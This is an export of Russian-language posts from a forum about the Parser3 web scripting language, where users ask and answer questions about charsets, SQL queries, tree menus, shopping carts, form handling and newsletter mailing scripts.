Если ассоциировать в главном auto.p файл кодировок с этой кодировкой то происходит ошибка так-как название кодировки начинаеться с точки а если отбросить точку ,то непроисходит ничего!\
Тоесть если так: [code]$.WIN-1251[$charsetsdir/windows-1251.cfg][/code] -то просто безрезультатно!\
А если так: [code]$..WIN-1251[$charsetsdir/windows-1251.cfg][/code] -то происходит ошибка. Также чисто ради эксперемента пробывал экранировать вторую точку! Тоже ошибка!\
[color=\"green\"][b]Лирическое отступление:[/b][/color]\
Вот а зделать нужно срочно ибо если я этого не зделаю! То на моей странице не будут отображаться ссылки (которые я и пытьаюсь загрузить и вывести в своём коде)! А если они не будут отображаться, то соответственно меня лишат домена и хостинга (а это весьма неприятно)!\
Так что помогите люди добрые..."
"54850","[code]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
[/code]"
"54852","попробуйте сделать запрос telnet-ом к этому документу и посмотрите, какую кодировку они вам сообщают. если верить парсеру, то имя этой кодировки - '.WIN-1251' что есть бред (если верить моей опере, куда я скопировал вашу ссылку, то имя которое они сообщают - действительно '.win-1251').\
\
даже если вы подключите сейчас у себя кодировку 1251 с таким именем (как вам подсказывает Sergey M.) вы уверены что завтра они не исправят её на 'win-1251', а послезавтра на 'windoze-1251' и т.д.?\
\
лучше пусть они один раз исправят у себя и будут сообщать всем нормальную кодировку чем все их посетители будут получать документ в такой кодировке с кривым именем.\
\
но в общем вам решать."
"54857","На форуме теперь можно забыть о поиске, приходтся ходить на яндекс чтобы найти что-то, даже по прямому запросу."
"54858","Я ввёл в поиск «поиск по форуму» и первым делом в результатах увидел именно эту тему. Именно она и должна была быть. Значит поиск работает превосходно."
"54860","подскажите что означает белый фон в окне браузера?\
(ошибок не выдаёт)\
например такой код:\
\
@printforum[parent]\
^use[baza.p]  #подключение к б-д.\
^baza:mysql{\
$table[^table::sql{select*from derevo where ^parent.int(0)}]\
}\
^table.menu{\
<h1>$table.body</h1>\
<h6>^printforum($parent)</h6>\
}\
\
@main[]\
^printforum(0)\
\
Перерыл весь форум и не могу понять принцип."
"54862","Прошу прощения за тупо заданный вопрос.\
Немного проясню.\
\
Возьмём простейшее раскрытое дерево:\
(так оно должно выглядить в браузере)\
\
Заголовок1\
подзаголовок1.1\
подзаголовок1.2\
заголовок2\
подзаголовок2.1\
и т.д\
\
Вот решил я его построить и написал такой метод\
\
@printforum[parent]\
\
connect-string{\
$table[^table::sql{select*from derevo where ^parent.int(0)}]\
}\
\
^table.menu{\
<h1>$table.body</h1>\
<h6>^printforum($parent)</h6>\
}\
\
@main[]\
^printforum(0)\
\
таблица(derevo) в базе имеет вид\
id  parent  body  \
1  0  заголовок1 \
2  1  заголовок1.1 \
3  1  заголовок1.2\
\
В результате получаю в браузере просто белый фон.(ошибку не показывает)\
\
Роман подскажи пожалуйста (в двух словах) что в этом методе не так, что то я никак не могу понять эту рекурсию...\
Не монимаю почему-то самого принципа и логики построения деревьев.\
\
С уважением Виталий."
"54863","Каким образом использую конструкцию\
[code]\
^connect[$connect_string]{\
	$имя[^table::sql{\
		SELECT\
			*\
		FROM\
			таблица\
	}]\
}\
[/code]\
можно получить возможные варианты поля ENUM из БД"
"54864","[quote]If you want to determine all possible values for an ENUM column, use SHOW COLUMNS FROM tbl_name LIKE enum_col and parse the ENUM definition in the second column of the output.[/quote]"
"54866","Я вот уже два часа пытаюсь запросом из mysql задать хэш такого вида:\
\
[code]\
$hash[ \
\
	$.group1[ \
		$.subgroup1[\
			$parameter1[value]\
			$parameter2[value]\
			] \
		$.subgroup2[\
			$parameter1[value]\
			$parameter2[value]\
			] \
		] \
		\
	$.group2[ \
		...\
		] \
		\
	] \
[/code]\
\
Как мне вылечиться?"
"54868","получите таблицу и с помощью несложного метода (очень похожего на lib.p/@createTreeHash[]) создайте то что вам нужно.\
\
однако если вы опишите задачу - может вам подскажут что иное."
"54869","Тем более, что я все-таки нашел более изящное решение, чем изначально себе представлял."
"54871","Тут часто пробегают вопросы \"откуда брать курсы валют / ленту новостей / телепрограммку / как подключаться к icq со страницы\" и т.п.\
\
Ответа обычно ищут в RSS или разборе регулярными выражениями вебстраниц, но совсем забывают о таком источнике, как WAP-сайты для мобильников. А wap-странички, на минуточку напомню, это [i]well-formed XML[/i] и [i]очень[/i] маленькие файлы.\
\
Если для вас этот вопрос актуален:\
- ставите firefox extension \"User agent switcher\"\
- меняете user agent на \"Nokia9000/1.0 (9.99) Profile/MIDP-1.0 Configuration/CLDC-1.0\" (или другое аналогичное)\
- ставите расширение wmlbrowser к firefox (донастраивает браузер так, чтобы тот сообщал сайтам, что понимает не только \"text/html\", но и \"text/vnd.wap.wml\" и отображал WML-страницы в человеческом виде)\
\
а затем открываете:\
http://wap.tjat.com - ICQ (кстати, рекомендуется тем, у кого на работе заблокирована ICQ, а meebo.com тяжеловат)\
http://wap.rbc.ru/newsd/newsd.wml - Новости дня от РБК\
http://news.bbc.co.uk/mobile/bbc_news/world/europe/index.wml - BBC News Europe\
http://wap.rbc.ru/weather/w27612.wml - РБК-Погода\
http://city.ya.ru/weather.xwml#Card1 - Погода на Яндексе\
http://wap.rbc.ru/valuta_new/index.wml - Курсы валют на РБК\
http://tv.rbc.ru/wml/rbc/index.wml - телепрограмма\
http://wap-ent.rbc.ru/cgi-bin/wap/kino.cgi?mode=kino - Киноафиша\
http://www.google.com/wml - Google search\
http://wap.oa.yahoo.com/ - Yahoo (в том числе и Messenger)\
http://wap.beeline.ru - всего помалу\
\
Смотрите, что вам нужно и [b]^xdoc::load[http://[/b] вам в руки (только не забудьте про изменение user agent на nokia и text/vnd.wap.wml в accept).\
\
Только пожалуйста, имейте совесть - кешируйте результаты запросов и не грузите чужие серверы лишними запросами..."
"54874","Вопрос банальный организация корзины покупателя в интернет магазине.\
\
Ситуация:\
\
Таблица 1: список групп товаров\
Таблица 2: список всех товаров\
\
Нужно как то организовать Корзину, причём пользователь не регистрируется на сайте и личной карточки нет.\
\
Что посоветуете ? Видимо необходимо создать специальную таблицу ( группу таблиц ) Как это наиболее грамотно организовать, что конкретно и как хранить ?"
"54875","У вас на странице скачичвания есть 2 дистрибутива еще скрипты снизу.  Так вот скрипты - это как дополнение идет или уже входят в дисрибутив?"
"54877","Спасибо за ответ. А что, сайт можно создать, только при помощи parser и картинок сайт? (c каталогом) или нужно прибегать к помощи какого нибудь визуального редактора?\
Кстати спасибо что так быстро ответили."
"54878","это наборы \"всё сразу\".\
\
Чтобы было понятнее - два набора - это как Windows+Word+Excel в одной упаковке. А файлы ниже - это Word отдельно, для тех, у кого Windows уже есть.\
\
Если у вас нет вебсервера и базы данных - берёте набор. Если всё уже есть, берёте отдельный маленький файл (и не качаете лишнего)."
"54879","Про http://wap.tjat.com  не знал, спасибо :)\
Такой вопрос: там все настройки я так понимаю хранятся в куках (ну, к примеру та же кодировка сообщений). А парсером как я могу подсовывать нужные куки? Вообще просто пока плохо себе представляю каким образом организовать некое подобие ICQ на сайте, получается нужно с некой периодичностью, скажем раз в 5 секунд, запрашивать определенную страницу, причем с установленной кукой?"
"54880","Нужно еще одну таблицу id товара, ценой и id сессии пользователя.\
сессия пользователя через куки или такаемй за собой по всем страницам хвостик из GET параметра."
"54881","Куки передаются браузером в заголовках при запросе (читайте соответствующий RfC по HTTP-протоколу). \
\
\"Подобие ICQ\" лучше не устраивать - максимум это сделать отправку уведомлений себе по ICQ по наступлению каких-то событий. (Асинхронное, которое выполняется фоном - не заставляйте пользователя ждать полминуты, пока отбегают все запросы...)"
"54882","я делаю так:\
order - хранится информация о заказе. \
поля\
type - тип (в процессе наполнения, оформлен, доставляется...)\
auser_id - понятно что.\
uid - идентификатор сессии (если корзина наполняется до регистрации)\
dt_... (даты начала создания, оформления...)\
\
order_to_product - резинки заказ-продукт\
order_id - ссылка на заказ\
product_id - ссылка на продукт\
price цена (копируется цена продукта в момент заказа, т.к. цена продукта в основной таблице может меняться)\
count - количество продуктов\
\
у меня при оформлении заказа обычно пользователь таки регистрируется (ну... это можно скрыть интерфейсно, но телефон/мыл, адрес доставки и как его величать он же должен ввести?). в случае если этого не нужно, то поля с контактной информацией можно добавить в order."
"54884","Как узнать об ошибке ввода (например, неправильно введен логин или пароль - в методе @getErrors[])?"
"54885","да, как раз в качестве уведомления и хотел использовать. Ну и плюс мониторить определенных пользователей в онлайне они или нет.\
Насчет кукисов - всё ясно, почитаю RFC.\
\
кстати, раз уж такая пьянка пошла, может в курсе, есть ли что-то подобное для отправки SMS через WAP?"
"54886","А вы введите какой-нибудь тип ошибки, в котором одно слово перекликается с десятком других сообщений об ошибке.\
\
РАньше с этим никаких проблем небыло"
"54887","там есть код, демонстрирующий ситуацию, когда неверно введена комбинация логин/пароль. также там есть код, который показывает список ошибок, возникший при регистрации нового пользователя.\
\
что конкретно к этих кусках кода не понятно?"
"54888","конечно, смотрел. я не понимаю, как получить ошибку.\
например, имя залогиненного это $auth.user.name. а ошибка?\
есть хэш $user, но там нет поля с ошибкой..."
"54889","можна как-то из php-странички извлечь куки которые записал parser?"
"54890","Если желаете организовать - цепляйте к серверу сотовый и пишите cgi-приложение, которое будет командовать телефоном."
"54891","Читайте rfc, описывающий HTTP-протокол, попытайтесь понять, как cookies работают.\
\
Если у вас firefox, поставьте расширение \"Live HTTP headers\" и подсмотрите, какими данными обменивается браузер и сайт, как куки записываются и отдаются сайтам обратно пр новых посещениях."
"54892","[b]_auth_profile.html[/b]:\
[code]\
$errors[^auth.decodeError[]]\
...\
^errors.menu{$errors.name}[, ]\
[/code]\
\
P.S. Ошибка никогда не будет лежать в хэше пользователя, т.к. не все ошибки принадлежат какому-нибудь пользователю...\
P.S.S. \"$user - hash, параметры пользователя, если он подключен\"."
"54895","скачал отсюда http://www.parser.ru/examples/js_http_request/ класс для работы с Subsys_JsHttpRequest,\
дергаю периодически doLoadParser()\
\
<script language=\"javascript\"><!--\
function doLoadParser() {...}\
setInterval(\"doLoadParser()\",5000)\
//--></script>\
\
вначале всё работает отлично, минут чере 20 перестает работать и експлорер подвисает. подскажите как это можно исправить"
"54896","$response:location работает так: страница начинает загружаться - и не может загрузиться с сообщением \"невозможно отобразить страницу\".\
\
тот же код на freebsd+apache работает отлично.\
Про $response:refresh[ \
   $.value(0) \
   $.url[/] \
]\
\
читал, пробовал - фонарь"
"54897","Заметки HTML Кодера. [url=\"http://htmlcoder.visions.ru/JavaScript/?30\"]AJAX'овые грабли в Internet Explorer 6[/url]"
"54898","хотя я сам работаю и всем рекомендую Opera :)"
"54899","В таком случае я пользуюсь FireFox-ом и тоже его рекомендую :)"
"54900","По таймауту обновляете невидимый фрейм, к котором приходят нужные кусочки js."
"54901","Админ мне выдал права на доступ к базе и соответсвенно пароль. В пароле содержится символ точка с запятой (;).\
\
Поставил всё как надо, получаю ошибку, что не экранирована точка с запятой.\
Экранировал, получаю ошибку о неверном доступе к базе.\
\
Есть стимул это бороть, или проще сменить пароль?"
"54902","Хочется, чтобы сайт заработал или код парсера поправить?"
"54903","Столкнулся с такой ситуацией.. надо форму засабмитеть двумя разными кнопками. И сделать это не проблема \
[code]<input type=\"button\" value=\"Первая\" onClick=\"submit1()\">\
[/code]\
делаю две кнопки и на них разные процедуры с присвоением разных значений скрытому полю формы. так и различаю. Но надо сделать без такого финта, т.е. чтобы значиние кнопок передавалось как-то иначе. Но как? Как ни пытался $form:fields не содержит ни имени ни id нажатой кнопки. \
Я туплю? подскажите пожалуйста."
"54905","[code]\
^form:fields.foreach[k;v]{$k}[,]\
\
<form>\
<input type=\"submit\" name=\"button1\" value=\"Button 1\" />\
<input type=\"submit\" name=\"button2\" value=\"Button 2\" />\
</form>\
[/code]"
"54906","посмотрел код и увидел, что в случае экранирования точки с запятой, пароль, содержащий её, корректно отдается клиентской библиотеке mysql.\
\
локальный MySQL - 5.0.22\
могу к нему подключиться с подобным паролем и с помощью MySQL Front (если пользователю test задаю OLD_PASSWORD('1;1')) и парсером (хоть OLD_PASSWORD('1;1') хоть PASSWORD('1;1'))\
\
код, которым проверял:\
[code]^connect[mysql://test:1^;1@localhost/test]{\
	^string:sql{select 2+2}\
}\
[/code]\
doublecheck?"
"54907","<input type=submit value=\"save\" name=save>\
<input type=submit value=\"delete\" name=del>\
\
^if(def $form:save){ Сохраняем }\
\
^if(def $form:del){ удаяем }"
"54908","а то я помнил, что есть такой пост, но не нашел."
"54909","Где-то в форуме писали про переадресацию по имени пользователя. А как реализовать переадресацию в зависимости от типа пользователя?\
\
Ниже приводится код, который не работает.\
\
[code]^auth.htmlFormLogon[\
				$.target_url[^switch[$auth.user.type]{\
	^case[2]{/url1/}\
	^case[3]{/url2/}}][/code]\
\
Куда копать, уважаемые форумчане?"
"54910","Есть класс для ведения рассылок на сайте. Когда отправляется где-то 200 писем все нормально. Когда > 1000 рассылка где-то глохнет и начинается с начала. В итоге некоторым пользователям вообще не доходит а некоторым приходит по 4 раза.\
\
Вопрос такой: как в принципе может запускаться скрипт несколько раз? Т.е. если я его запустил, как он сам может начать рассылку заново? Может быть дело в почтовом сервере?"
"54911","Гадать можно долго, что не так."
"54912","Блин.. делал все тоже самое. Теперь получилось. \
Но встала другая проблема. Если это не кнопь Submit а картинка? \
[code]<input type=image...>[/code] \
\
Так не передается ее имя в $form:fields? Или опять у меня руки кривые?"
"54913","Часть кода, которая за рассылку отвечает:\
\
[code]\
^if('$form:cmd' eq 'mail'){\
^use[/classes/mailpro/templates/body.p]\
^mail_:get_params[]\
$email[^table::sql{SELECT email FROM $base WHERE mail_active='1'}]\
^email.menu{\
	^mail:send[\
	$.from[$from_name <$from>] \
	$.to[$email.email] \
	$.subject[$theme_short]\
	$.html{\
	^body:_body[]\
	}\
	]\
^memory:compact[]\
}\
		^if(def $out.end_code){\
			^process{^untaint[as-is]{$out.end_code}}\
		}\
}\
[/code]"
"54914","рассылать по 100 писем за раз\
при этом после отправки кажого в таблице бд(некоем подобии спула) отмечать что разослано"
"54916",">рассылать по 100 писем за раз\
Сложно сделать. Т.к. все автоматически идет. Класс полностью управляет рассылками. Тут либо отказываться от класса и делать ручками или отсылать всё сразу.\
\
>при этом после отправки кажого в таблице бд(некоем подобии >спула) отмечать что разослано\
\
Если по 100 рассылать то можно, наверное\
Если сразу - сервер не выдерживает. Он и так без memory:compact процесс убивает. А тут еще и UPDATE добавится... :) меня сразу с хостинга выгонят. (хостинг мастерхост).\
\
Может какой-нибудь интервал рассылки с помощью скрипта делать? но ведь процесс убьется...\
\
Мне главное не понятно осталось: как скрипт сам рассылку заново начинает?"
"54917","В теме же было написано. Cron и будет запускать скрипт с определенным интервалом."
"54918","Только вот с Парсером он наверное не срастется."
"54919","нужен именно post. \
c картинкой тоже разобрался. \
Осталась одна непонятка.. почему в этом случае передается все:\
\
[code]<form action=\"test1.html\" method=\"post\">\
	<input type=\"hidden\" name=\"field1\" value=\"qqq\" />\
	<input type=\"submit\" name=\"button1\" value=\"Button 1\" />\
	<input type=\"submit\" name=\"button2\" value=\"Button 2\" />\
</form> [/code]\
\
А в этом только значение поля [b]field1[/b]\
\
[code]<form action=\"test1.html\" method=\"post\" name=\"formname\">\
	<input type=\"hidden\" name=\"field1\" value=\"qqq\" />\
	<input type=\"submit\" name=\"button1\" value=\"Button 1\" />\
	<input type=\"submit\" name=\"button2\" value=\"Button 2\" />\
</form> [/code]\
\
Разница только в имени формы . Это такая фича?"
"54920","и вы это сможете увидеть, если все обращения к нему будете писать в лог. а делает он это (повторный запрос страницы) потому, что за определенное время не может получить тело страницы.\
\
ну и пооптимизировать код можно. compact - медленная вещь, врядли его стоит пихать после каджого вызова. и тело страницы можно не формировать для всех каждый раз заново. там много отличий? может сформировать готовые куски, к которым добавлять шапку с обращением по имени и футер со ссылками на отписку (если в них уникальное что есть)?"
"54921","что до ваших примеров, один из которых работает, а другой якобы нет - не подскажу, ибо у меня работают оба."
"54922","[quote]\
и вы это сможете увидеть, если все обращения к нему будете писать в лог. а делает он это (повторный запрос страницы) потому, что за определенное время не может получить тело страницы.[/quote]\
\
И как это обойти?\
[quote]\
ну и пооптимизировать код можно. compact - медленная вещь, врядли его стоит пихать после каджого вызова. и тело страницы можно не формировать для всех каждый раз заново. там много отличий? может сформировать готовые куски, к которым добавлять шапку с обращением по имени и футер со ссылками на отписку (если в них уникальное что есть)?[/quote]\
\
[code]^if('$form:cmd' eq 'mail'){\
^use[/classes/mailpro/templates/body.p]\
^mail_:get_params[]\
\
$body[^body:_body[]]\
\
$email[^table::sql{SELECT email FROM $base WHERE mail_active='1'}]\
^email.menu{\
	^mail:send[\
	$.from[$from_name <$from>] \
	$.to[$email.email] \
	$.subject[$theme_short]\
	$.html{\
	  $body\
	}\
	]\
\
}\
		^if(def $out.end_code){\
			^process{^untaint[as-is]{$out.end_code}}\
		}\
}[/code]\
\
Примерно так? А на что заменить memory:compact? Без него сервер процесс убивает."
"54923","В Вашем случае придется отслеживать id по которым уже была расзослана рассылка. Предположим сделать это не сложно, но:\
Как запускать крон задачу? Раз в неделю? Раз в месяц?  Мне нужна возможность: нажал-разослал.\
К тому же, как я и говорил класс управляет рассылками. В вашем примере для каждой придется делать крон-задачи? Класс специально создавался для того, чтобы максимально ускорить процесс создания рассылки."
"54924","раз в час.\
один раз создали задачу, и все.\
дальше только -- забили форму, нажали кнопку -- заполнили спул и поехало."
"54925","[url=\"http://www.parser.ru/forum/?id=52982\"]http://www.parser.ru/forum/?id=52982[/url]"
"54926","Т.е. вы предлагаете:\
\
скрипт смотрит по каким ID он разослал.\
если ID=MAX_ID то он ничего не делает.\
\
Далее: мы хотим разослать:\
\
обнуляем список разосланных ID и скрипт опять начал рассылку.\
\
хм.. нормальная идея на первый взгляд.\
\
Но как быть: класс ведет неогр. кол-во рассылок. У каждой рассылки может быть своя база подписчиков. Что с этим делать? Под каждую рассылк крон создавать?"
"54927","Вобщем-то Миша уже сказал в чем дело и что скрипт запускает по несколько раз. Теперь вопрос как с этим справится."
"54928","[quote]И как это обойти?[/quote]\
call M$\
\
[quote]Примерно так?[/quote]\
да\
\
[quote]А на что заменить memory:compact? Без него сервер процесс убивает.[/quote]\
\
memory:compact заменять не надо. его можно вызывать не на каждой итерации (а например на каждой десятой). при этом после того как вы вынесли код формирования тела страницы, у вас сразу существенно снизился расход памяти, и вполне возможно что и без compact все заработает и не будет убиваться процесс из-за перерасхода памяти.\
\
ещё можете попробовать ключик $.options[-odd] у mail:send. если sendmail, установленный на вашей системе его поддерживает то процесс рассылки ускорится, т.к. вызов mail:send не будет ждать реальной отправки письма, а письмо будет просто добавляться в очередь sendmail (если ключ не поддерживается, то после его добавления вы просто получите ошибку отправки, уберете ключ и забудете про него на данном хостинге). правда при этом вы не сможете определить что этому подписчику письмо не отправляется (согласно вашему коды вы и щас на это не смотрите)."
"54929","C чем справиться???\
Там как раз код с Мишиными замечаниями который у меня на сервере запускается каждый час. Вот и все."
"54930","По memory:compact понятно. Спасибо. Не понял про call M$. Это ведь не метод парсера (иначе галочка была бы). Что это? и куда вставить? :)"
"54932","Так что делать-то? Ничего нельзя?"
"54933","НЕважно какое количество рассылок. Они могут класться в один спул."
"54934","пишите обращения к документу в лог и смотрите что происходит."
"54935","Уже 2 года как назад поднимался вопрос о защите исходников: http://www.parser.ru/forum/?id=32608\
Реализовано ли это уже сейчас в парсере?"
"54937","Уважаемые пользователи Parser3! Прошу вас оценить мою CMS! http://platypuscms.org Она написана на Parser3 и использует в качестве хранилища данных tab-delimited таблицы! \
Что можете предложить? Что добавить? Что убрать? И т.д."
"54938","Никто не знает как PGSQL может работать с XML , выдавать принимать...\
Вообще реально?"
"54940","Как из mysql dump сделать pgsql dump\
Нашел одну перловую утилку... но у мя перла нету...\
Спасайте"
"54941","На сервере нет. Разбираться почему нет времени. Сменил пароль."
"54944","http://tinyperl.sourceforge.net/ - меньше 700 килобайт"
"54945","Если окно бразуера закрыть во время выполнения, скрипт выполнится?"
"54946","http://www.parser.ru/forum/?id=42941"
"54948","~ творения гугла местами тоже подтекают..."
"54950","А что ценить? Где вход?"
"54952","Есть поля логина, статуса (online\\ofline), время.\
Нужно сделать выборку за определённый период (например, день), когда человек зашел впервые за этот период. При чём должно быть не по 1 логину, а все сразу. Т.е. Выбрать логины онлайн, за определённый день с наименьшим временем. Как это сделать в MySQL???"
"54953","для начала определите в чем конкретно проблема (т.е. кто виноват)\
\
PS можно попробовать [url=\"http://www.parser.ru/forum/?id=48999\"]отдавать кусочками[/url], поддерживая соединение, чтобы по таймауту не закрывалос"
"54955","типо как [url=\"http://www.parser.ru/forum/?id=48999\"]тут[/url].\
\
так и память почти не течет и хистори не засоряется...\
\
до ресурсов [url=\"http://www.parser.ru/forum/?id=49008\"]прожорливо[/url], правда, но они могут себе это позволить ;)"
"54956","У меня под альтернативными клиентами нет висящих соединений"
"54957","К тому же тамвероятно главная проблема это криворукость автора, а не используемый инструмент.\
\
Streaming в данном случае из пушки по воробьям."
"54958","А что вы загружаете?\
А в ручную с памятью поработать?"
"54959","AFAIK если работать со статическим iframe – каждый запрос отражается в history браузера, что не всегда приемлемо. Если динамически создавать-пользовать-удалять iframe для каждого запроса – течет память."
"54960","его можно использовать когда вы можете разбить вашу длительную задачу на несколько законченных подзадач (в случае рассылки - слать кусками).\
\
все просто: выполняете кусок и... выдаете броузеру комманду сделать редирект на себя-же, с каким-либо параметром (step). сделали ещё один кусок, увеличили step и ещё редирект.\
\
когда закончили - редирект не выдаете :)\
\
в этом случае процесс инициируете вы из броузера (а не cron), правда вы должны не закрывать броузер пока все не завершится.\
\
ну и я, когда использую это, передаю на все последующие шаги результаты предыдущих (чтобы показывать их), и релоад делаю постом формы."
"54961","желательно, чтобы временные промежутки пересекались\
\
что означает \"с наименьшим временем\"?"
"54963","за 2 дня можно было бы написать всё зановов :)) и реализовать все высказанные идеи - а трепаться бесполезно. Ничего само не сделается."
"54964","Здравствуйте!\
\
Для определения существования файла нашел только метод file::find. А каким образом определить, что некий файл существует именно в требуемой папке, [i]но не в родительской[/i]?"
"54966","если не ошибаюсь то примерно так:\
[code]SELECT\
	login,\
	MIN(datetime) AS dt\
FROM\
	table\
WHERE\
	datetime >= '2006-08-01 00:00:00'\
	AND datetime < '2006-08-02 00:00:00'\
	AND status = 'online'\
GROUP BY\
	login[/code]\
\
но это \"тяжелый\" запрос."
"54967","Конвертнул , теперь проблема в другом\
на инсертах постгресс ругаеться\
[code]INSERT INTO auser VALUES(\"2\", \"1\", \"16777215\", \"Admins\", \"чУЕ БДНЙОЙУФТЙТХАЭЙЕ РПМШЪПЧБФЕМЙ\", \"group\", \"group\", NULL, \"2006-03-30 15:50:52\", NULL, NULL, \"1\", \"0\", \"1\", \"0\", \"0\", NULL, NULL, NULL, NULL, NULL, NULL);\
[/code]\
[quote]ERROR:  zero-length delimited identifier at or near \"\"\"\" at character 5092[/quote]"
"54970","тогда не понимаю почему когда учат писать запросы никогда не говорят о том, что это там не стоит делать или что вот так сделать лучше, а только заставляют одним запросом вытащить данные из целой кучи табличек за один раз +  сделать всякие извращения having, group by, функции и прочую хрень, а сказать, что если ты напишешь только MIN() + WHERE, то это уже не есть гуд - нельзя."
"54971","не говорят?\
http://dev.mysql.com/doc/refman/5.1/en/optimization.html\
\
хоть обчитайся.\
\
и MIN() здесь не при чем. GROUP BY обычно тяжелая штука."
"54972","Задача такая...\
Нужен каталог товаров и услуг....\
В каталоге должно быть неограниченное колво категорий...\
Также должно быть неограниченное колво элементов...\
И еще должна быть неограниченная вложенность элементов друг в друга...\
И еще один ([b]САМЫЙ ВАЖНЫЙ[/b]) нюанс...\
У item`а в каталоге должно быть неограниченное количество атрибутов...(вес , ширина, высота , обьем...)...\
и чтобы у каждой категории были свои настраевымые , атрибуты...\
БД- POSTGRESQL\
как лучше сострапать БД\
2Misha-Может в студии сталкивались с такой задачей...\
PS На выходе выборки  xml"
"54973","[quote]В работе Parser произошла ошибка:\
\
error:  null value in column \"asession_id\" violates not-null constraint\
\
Ошибку вызвал этот фрагмент:\
insert into asession ( auid, sid, dt_access ) values ( '192.168.178.1:null=330a28d41f93e0334768e1623cfe8c40', '192.168.178.1:null=df09c2e90b034f0fed6b8b86e619caec', current_timestamp )\
Ошибка произошла при работе с файлом:\
\
/classes/common/sql.p, строка номер 98\
[/quote]\
\
Что значит ошибка violates not-null constraint???"
"54974","как и написано в ошибке. Надо вставлять not null данные"
"54975","В работе Parser произошла ошибка:\
\
error:  missing from-clause entry for table \"asession_asession_id_seq\"\
\
Ошибку вызвал этот фрагмент:\
select asession_asession_id_seq.currval\
Ошибка произошла при работе с файлом:\
\
/classes/common/pgsql.p, строка номер 122\
\
МЛИН PGSQL...\
Что делать?"
"54976","дергаю скрипт который работает с бд. кое-что записывает, кое что достает."
"54977","Для работы с PostgreSQL 8.1 (в частности LAST_INSERT_ID()) требуется в файле pgsql.p в методе [code]@last_insert_id[][/code](120 строка) заменить\
[code]$result(^int:sql{SELECT ${sTable}_${sTable}_id_seq.currval}[$.default{0}])[/code]\
на\
[code]$result(^int:sql{SELECT currval('${sTable}_${sTable}_id_seq')}[$.default{0}])[/code]\
\
Остальные глюки в процессе отловки [color=\"#ff0000\"]:[/color])"
"54979","Может это конечно ни как не связано, но почему то при запущенном Skype ([url=\"http://www.skype.com\"]www.skype.com[/url]) выдается именно такая ошибка (порт 80 занять или заблокирован firewall-ом).\
\
Если закрыть skype и запустить Apache Swissknife, то все работает."
"54981","Спасибо, то что нужно. Я почему-то ожидал увидеть нечто вроде метода file::exists, потому и не нашел."
"54984","На счёт \"тяжести\", это не так важно, запрос выполняется 1-2 раза в день, так что всё отлично!\
\
Тоже думал делать group by, но не получалось, так как думал MIN() надо в where запихнуть, но тогда логика другая получается... а тут всё ясно. Ещё раз спасибо."
"54985","Принцип такой же, но нужно по одному логину просмотреть ту же информацию (минимальное время за день) только не в одном дне, как сейчас, а за месяц! Т.е. узнать по логину, во сколько человек приходил каждый день в течении месяца.\
\
Это только циклом делать или всё же можно одним запросом?"
"54986","При локальной подгрузки статического XML документа, он кэшируется на один запрос или как?"
"54987","Если интересно, кто и какие соединения открывает - возьмите маленькую бесплатную утилитку http://www.sysinternals.com/Utilities/TcpView.html - она вам расскажет, какой процесс какие порты занимает.\
\
Если очень надо, чтобы skype и swissknife работали одновременно, залезьте в settings.ini и поменяйте порт Apache с 80 на, например, 81 или 8080. Придётся набирайть более длинную ссылку - http://127.0.0.1:8080 - но всё будет работать."
"54989","Да нет они работают вместе, просто если не загружать апач автоматом, то приходится выходить из skype для того что бы загрузить апач. \
Меня это ни как не беспокоит, просто интересное (для меня лично :)) наблюдение, хотел поделится.\
А вообще спасибо. Apache Swissknife ver. 3.2 - The Best!"
"54990","сам я даже не тестировал этот класс, т.к. pgsql не пользую.\
однако посмотрел в доке по pgsql 7.3 и вижу что предложенный синтаксис должен работать (он там описан, а вот про используемый в pgsql.p в настоящий момент синтаксис я не нашел упоминания и где их нашел egr я не знаю).\
\
также вижу что тип serial был добавлен в версии 6.4, и что там  [url=\"http://www.postgresql.org/docs/6.4/static/sql-createsequence.htm\"]уже были[/url] функции currval(), nextval() & Co\
\
те, кто использует версии pgsql < 7.3 плиз проверьте новый вариант синтаксиса. если все будет работать - поправлю."
"54991","Вот такая функцейка:\
\
[code]\
@itemname[str]\
$str[^str.match[(')][g']{\\'}]\
^if(^str.match[(_)][g']){\
$array[^str.split[_;lv]]\
^array.menu{\
$str[$array.piece]\
$len(^str.length[])\
$len($len-1)\
$fletter[^str.left(1)]\
$fletter[^fletter.upper[]]\
$other[^str.right($len)]\
$word[${fletter}$other]\
$word\
}}{\
$len[^str.length[]]\
$len($len-1)\
$fletter[^str.left(1)]\
$fletter[^fletter.upper[]]\
$other[^str.right($len)]\
$word[${fletter}$other]\
$word}\
[/code]\
\
Задача проста, делать каждую букву отдельного слова - Первой. При попытке обработать несколько слов, возникает ошибка: right n(-1) must be >=0. При обработке одного слова, по той же технологии всё пашет на ура и ошибки нет. Код имхо правильный, может есть какой то подводный камень в функции ^str.right(n)?"
"54993","[code]@capitalize[sText]\
$result[^if(def $sText){^sText.match[(?:_|^^)(\\S)][g]{^match.1.upper[]}}][/code]"
"54996","а подробно разбираться в вашем коде мне лень.\
если приведете строку, на которой приведенный вами ранее метод падает с такой ошибкой - посмотрю. но мне кажется это ваша ошибка (уж нет ли в вашей строкt двух подряд символов '_'?)"
"54997","Нет, подряд нет, попробуйте ввести строку например asd_asd_asd"
"55000","Доброго времени суток извеняюся за глупый вопрос, застрял и не могу решить следующий вопрос.\
Есть страница с чекбоксами они выводятся динамически из базы их порядка 29 штук, задача выбрав нужные значения нажимаем поиск грузится следующая страница, из предыдущей методом get или post значения этих чекбоксов должны попасть в следующую страницу в запрос к базе и в итоге вывести результат запроса.\
[code]\
<form method=\"get\" action=\"/searchs.html\"> \
   <p><input type=checkbox name=cheks value=\"$таблица.значение\">$таблица.имя</p> \
   <p><input type=checkbox name=cheks value=\"$таблица.значение\">$таблица.имя</p>\
   <p><input type=checkbox name=cheks value=\"$таблица.значение\">$таблица.имя</p> \
 \
$cheks[$form:tables.cheks] \
^if($cheks){\
$12{\
    ^cheks.menu{ \
        $cheks.field \
    }[,]}\
\
}{\
   Ничего не выбрано\
} \
[/code]\
\
Дальше я хочу в невидимое поле поместить значения $12\
[code]\
<input type=\"hidden\" name=\"select_cheks\" value=\"$12\"/>\
\
  <p><input type=submit value=\"Поиск\"></p> \
</form> \
[/code]\
\
Тоесть при нажатии на кнопке Поиск должна загрузится следующая страница searchs.html и через хэш передаться значения $12, а я их вызываю $form:select_cheks\
\
